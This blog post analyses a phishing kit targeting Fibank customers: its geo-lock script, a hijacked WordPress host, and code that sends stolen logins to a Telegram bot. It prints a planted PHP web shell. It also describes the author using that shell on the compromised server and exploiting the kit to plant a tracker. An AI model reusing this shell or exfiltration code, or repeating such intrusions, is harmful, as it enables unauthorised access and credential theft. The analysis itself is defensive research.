Join the discord

Tunisian phishing campaign targeting Fibank clients

27 Sep, 2025 11:26
Phishing for your bank credentials is something well known to those who are still using the services of one of the Bulgarian email providers - abv.bg
As soon as you register an address there, you get flooded by countless phishing emails (not even counting the regular spam) and the service provider wont't do anything to filter them.
And it's not that they are too sophisticated and hard to block, no - they just don't care.

So I've received my daily dose of phishing emails to one of my honeypot boxes, coming from the following address:
From: Fibank <Alexis.Desse@uphf.fr>
Received: from smtp-2.uphf.fr (smtp-2.uphf.fr [194.167.248.36])
The domain uphf.fr comes from the Université Polytechnique Hauts-de-France - a technical university in France and the email address itself is most probably hijacked.

The email body represents one of the big banking institutions in Bulgaria - First Investment Bank and looks like a classic phishing email - scary message urging you to do stuff, plus the bad grammar and effortless layout design.

The provided link, leads to a html file hosted directly on GitHub and that was the only uploaded file by this user:
GitHub urlhttps://<HIDDEN>.github.io/fibz?5jygjj=kn3fbwti5y

Inside the html body there was a procedure that geo locks the access to Tunisia and Bulgaria only:
 function checkCountry(countryCode) {
    return new Promise(function (resolve, reject) {
        const allowedCountries = ['TN', 'BG'];
        if (!allowedCountries.includes(countryCode)) {
            // non authorisé
            reject()
        } else {
            // authorisé
            resolve()
        }
    })
}
This already hints about where the phishing attempt is coming from.
From what I've seen in the past, the Bulgarian bank phishing treats often came from Tunisia or Algeria.

The geolocation code is using a third party service (ipbase.com) along with a API key, so naturally I've used it on the API endpoint to get more intel:
https://api.ipbase.com/v2/status{
    "account_id":244063901023604736,
    "quotas":{
        "month":{
            "total":65000,
            "used":2049,
            "remaining":62951
        },
        "grace":{
            "total":0,
            "used":0,
            "remaining":0
        }
    }
}
Not much.
The ipbase service requires a registration with an email, but they are definitely not going to share it with me, so carry on.

The GitHub profile information shows that the account is created on 20st of August, 2025 and that's when the file was uploaded as well.

Finally, the html file is redirecting to https://<HIDDEN>/wp-includes/fonts/BG_bg/ - a Worldpress website that is hijacked to host the phishkit:


I've poked the site here and there, and stumbled upon on a very basic shell, possibly installed by the same threat actor:
basic web shell<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>
Quite often, hijacked websites have a backdoor installed on, the the intruders can access it easier, but they are usually password protected.

This one wasn't and I'm not going to complain and use it to my advantage instead:
ls -altotal 2735748
drwxr-xr-x 11 www-data www-data       4096 Sep  4 05:02 .
drwxr-xr-x  4 root     root           4096 Mar 10  2025 ..
-rw-r--r--  1 www-data www-data       1937 Sep  4 05:02 .htaccess
drwxr-xr-x  2 www-data www-data       4096 Jul  2 04:30 62df2
drwxr-xr-x  2 www-data www-data       4096 May 12 05:53 67181
drwxr-xr-x 18 www-data www-data       4096 Apr 28 19:54 billing
-rw-r--r--  1 www-data www-data  277954803 May 10  2024 billing_10_may_2024_whmcs8101.zip
-rw-r--r--  1 www-data www-data  377912177 May 10  2024 billing_10_may_2024_whmcs871.zip
drwxr-xr-x  2 www-data www-data       4096 Apr 28 19:45 c4883
-rw-r--r--  1 www-data www-data        315 Jul  4  2024 config.php
-rw-r--r--  1 www-data www-data       1978 Oct  3  2022 defaults.php
-rw-r--r--  1 www-data www-data         53 May  5 20:07 google526f70c67b0522db.html
-rw-r--r--  1 www-data www-data         53 Apr 23 19:37 googlee32796f45749a874.html
-rw-r--r--  1 www-data www-data       7278 Jan  4  2021 index.html.23
-rw-r--r--  1 www-data www-data        612 Apr 19  2023 index.nginx-debian.html
-rw-r--r--  1 www-data www-data        405 Sep  3 19:17 index.php
-rw-r--r--  1 www-data www-data      11764 Feb 15  2023 index.php0
-rw-r--r--  1 www-data www-data       2041 Mar 11  2023 item.php
-rw-r--r--  1 www-data www-data      19903 Sep  3 19:17 license.txt
-rw-r--r--  1 www-data www-data       1908 Jun 24  2023 mah.php
-rw-r--r--  1 www-data www-data       2075 May  3  2023 networks.php
-rw-r--r--  1 www-data www-data 1835121180 Mar 19 08:42 newbackupzip.zip
-rw-r--r--  1 www-data www-data       1525 Aug 21  2023 pages.php
-rw-r--r--  1 www-data www-data       1978 Sep 13  2022 plugins.php
-rw-r--r--  1 www-data www-data       7425 Sep  3 19:17 readme.html
-rw-r--r--  1 www-data www-data        362 Oct 12  2022 robots.txt
-rw-r--r--  1 www-data www-data       1530 Apr 15  2023 search.php
-rw-r--r--  1 www-data www-data          0 Apr 24 01:54 setup.php
drwxr-xr-x  3 www-data www-data       4096 Oct 11  2023 testweb
-rw-r--r--  1 www-data www-data      12274 Apr 24 01:53 unzipper.php
drwxr-xr-x  3 www-data www-data       4096 Mar 28 02:06 webplayer
-rw-r--r--  1 www-data www-data   15203011 Apr 24 05:13 wordpress.zip
-rw-r--r--  1 www-data www-data       7387 Sep  3 19:17 wp-activate.php
drwxr-xr-x  9 www-data www-data       4096 Apr 14 10:29 wp-admin
-rw-r--r--  1 www-data www-data        351 Sep  3 19:17 wp-blog-header.php
-rw-r--r--  1 www-data www-data       2323 Sep  3 19:17 wp-comments-post.php
-rw-r--r--  1 www-data www-data       3336 Sep  3 19:17 wp-config-sample.php
-rw-r-----  1 root     www-data       3578 May 19 18:11 wp-config.php
drwxr-xr-x 10 www-data www-data       4096 Aug 28 09:23 wp-content
-rw-r--r--  1 www-data www-data       5617 Sep  3 19:17 wp-cron.php
drwxr-xr-x 30 www-data www-data      12288 Apr 15 10:39 wp-includes
-rw-r--r--  1 www-data www-data       2502 Sep  3 19:17 wp-links-opml.php
-rw-r--r--  1 www-data www-data       3937 Sep  3 19:17 wp-load.php
-rw-r--r--  1 www-data www-data      51414 Sep  3 19:17 wp-login.php
-rw-r--r--  1 www-data www-data       8727 Sep  3 19:17 wp-mail.php
-rw-r--r--  1 www-data www-data      30081 Sep  3 19:17 wp-settings.php
-rw-r--r--  1 www-data www-data      34516 Sep  3 19:17 wp-signup.php
-rw-r--r--  1 www-data www-data       5102 Sep  3 19:17 wp-trackback.php
-rw-r--r--  1 www-data www-data       3205 Sep  3 19:17 xmlrpc.php
-rw-r--r--  1 www-data www-data  294827548 May 10  2024 zipgnmSZ
There's a lot of malicious files in here and I'm pretty sure this website is being used by a whole bunch of malicious actors for quite some time.

Moving on with the phish page, my goal was to find how and where the logged data is being exfiltrated:
 $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";

$domain = $_SERVER['HTTP_HOST'];

$directory = rtrim(dirname($_SERVER['PHP_SELF']), '/');

$acceptLink = "$protocol://$domain$directory/writeLoginStatus.php?status=ACCEPTED";
$refuseLink = "$protocol://$domain$directory/writeLoginStatus.php?status=REFUSED";

$botToken = '<HIDDEN>';

$telegramAPI = 'https://api.telegram.org/bot' . $botToken;

$chatID = '<HIDDEN>';
$clear = base64_decode($_GET['text']);
$keyboard = json_encode([
    'inline_keyboard' => [
        [
            ['text' => 'Accepter', 'url' => $acceptLink],
            ['text' => 'Refuser', 'url' => $refuseLink],
        ]
    ]
]);

if ( strpos($clear, "user") !== false) {
    $url = $telegramAPI . '/sendMessage?chat_id=' . $chatID . '&text=' . $clear;
} else {
    $url = $telegramAPI . '/sendMessage?chat_id=' . $chatID . '&text=' . $clear . '&reply_markup=' . $keyboard;
}

$response = file_get_contents($url);

header('Content-Type: application/json');

$data = array(
    'link' => "$protocol://$domain$directory/readLoginStatus.php"
);

echo json_encode($data);
In the past, these groups were mostly using exfiltration over email, pointing to a Gmail box, but I guess they evolved to Telegram now.

I've used the Telegram Bot token to snoop for intel, by first asking for getMe:
https://api.telegram.org/bot<HIDDEN>/getMe{
    "ok":true,
    "result":{
        "id":<HIDDEN>,
        "is_bot":true,
        "first_name":"CCB",
        "username":"bzbulgaria_bot",
        "can_join_groups":true,
        "can_read_all_group_messages":false,
        "supports_inline_queries":false,
        "can_connect_to_business":false,
        "has_main_web_app":false
    }
}

Then getChat:
https://api.telegram.org/bot<HIDDEN>/getChat?chat_id=<HIDDEN>{
    "ok":true,
    "result":{
        "id":<HIDDEN>,
        "first_name":"CCB",
        "username":"bzbulgaria_bot",
        "type":"private",
        "active_usernames":["bzbulgaria_bot"],
        "accepted_gift_types":{
            "unlimited_gifts":true,
            "limited_gifts":true,
            "unique_gifts":true,
            "premium_subscription":true
        },
        "max_reaction_count":11,
        "accent_color_id":3
    }
}

And finally getUpdates:
https://api.telegram.org/bot<HIDDEN>/getUpdates{
    "ok":true,
    "result":[
        {
            "update_id":450999164,
            "message":{
                "message_id":9218,
                "from":{"id":891906517,"is_bot":false,"first_name":"BzAy","username":"BzAyy","language_code":"fr"},
                "chat":{"id":891906517,"first_name":"BzAy","username":"BzAyy","type":"private"},
                "date":1757775769,
                "text":"6046\n5939"
            }
        },
        {
            "update_id":450999165,
            "edited_message":{
                "message_id":9218,
                "from":{"id":891906517,"is_bot":false,"first_name":"BzAy","username":"BzAyy","language_code":"fr"},
                "chat":{"id":891906517,"first_name":"BzAy","username":"BzAyy","type":"private"},
                "date":1757775769,
                "edit_date":1757775794,
                "text":"6046\n5939\n9905"
            }
        },
        {
            "update_id":450999166,
            "message":{
                "message_id":9219,
                "from":{"id":891906517,"is_bot":false,"first_name":"BzAy","username":"BzAyy","language_code":"fr"},
                "chat":{"id":891906517,"first_name":"BzAy","username":"BzAyy","type":"private"},
                "date":1757775961,
                "reply_to_message":{
                    "message_id":9212,
                    "from":{"id":5719121173,"is_bot":true,"first_name":"CCB","username":"bzbulgaria_bot"},
                    "chat":{"id":891906517,"first_name":"BzAy","username":"BzAyy","type":"private"},
                    "date":1757775162,
                    "text":"user: <HIDDEN> | pwd: <HIDDEN> | ip: <HIDDEN>",
                    "entities":[{"offset":39,"length":13,"type":"url"}]
                },
                "text":"izghir"
            }
        }
    ]
}
This gave me the Telegram bot owner username - BzAyy along with his preferable language - French.

The phishkit had a log file called visitors.html and it contained a list of IPs, timestamps and user agents of visitors of the phish page.
I've discarded the Bulgarian IPs from it as those are the victims and only one non-Bulgarian IP left:
visitors.html197.30.202.14
2025-09-12 07:58:04
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
This was also the first IP in the log, and naturally if they are sloppy (they are), this could be the author of the phish page, testing it after deployment.

A quick IP lookup gave me a confirmation - Tunisian IP, from the city of Gafsa, district Ksar and service provider orange.tn

These guys are notorious for their bad code, so I've decided to look for some exploit points in order to get more intel and found a good candidate inside the helper file functions.php:
functions.phpfunction visitors() {
    $detect         = new BrowserDetection();
    $ip             = $_SERVER['REMOTE_ADDR'];
    $date           = date("Y-m-d H:i:s", time());
    $usragent       = $_SERVER['HTTP_USER_AGENT'];
    $browserName    = $detect->getName();
    $browserVer     = $detect->getVersion();
    $isMobile       = ($detect->isMobile()) ? 'Mobile' : 'Not mobile';
    $platformName   = $detect->getPlatform();
    //$country        = get_client_country();
    $str = "  $ip  $date $usragent [$isMobile] $browserName $browserVer  ";
    file_put_contents('visitors.html', $str  , FILE_APPEND | LOCK_EX);
}
This procedure is as unsafe as it could be, so I took advantage of it in order to install a canary.

My idea was that only the phish author is going to directly access the visitors.html log file, and every time that happens, his IP address, user agent and referrer along with the timestamp will be logged by my canary.
All I had to do now was play the waiting game and check my logger later in time.

While my canary was waiting, I've continued digging around the phish page in order to get more information about the authors.
Next task on the list is to look for more IPs, and I found around 100 of them as separate .txt files at a directory called status, and after resolving them I got these:
 172.253.192.117, United States, Council Bluffs
172.253.192.247, United States, Council Bluffs
172.253.192.248, United States, Council Bluffs
172.253.192.249, United States, Council Bluffs
197.30.202.14, Tunisia, Tunis
74.125.113.18, United States, Council Bluffs
74.125.113.19, United States, Council Bluffs
74.125.113.27, United States, Council Bluffs
The US based ones are all coming from Google's infrastructure (they somehow passed through the bot filter) but the Tunisian one is the same as the one found in the visitors log.

Similar to the folder with the text files, there was another one called victims, this time with .php files instead but it contained only Bulgarian IPs.
Unlike the text files that had just a 0 in each of them, the php ones had content like "index", "pin", "approuve", "success" and "epw".
These files were holding the current stage of phishing and they were created by "infos.php", that was exfiltrating to the same Telegram bot:
 if ($_POST['step'] == "control") {
    $fp = fopen('victims/' . $_POST['ip'] . '.php', 'wb');
    fwrite($fp, $_POST['to']);
    fclose($fp);
    header("Location: control.php?ip=" . $_POST['ip']);
    exit();
}
The raw post data directly being written to a php file says everything about the quality of this phish kit.

And that's everything I liked to share.
I'm not expecting our authorities to take action and I'm 100% sure the administrators of Abv.bg won't do anything about it, so as a advice - get off abv.bg ASAP and don't fall for lame phishing.
© nullsecurity.org 2011-2025 | contacts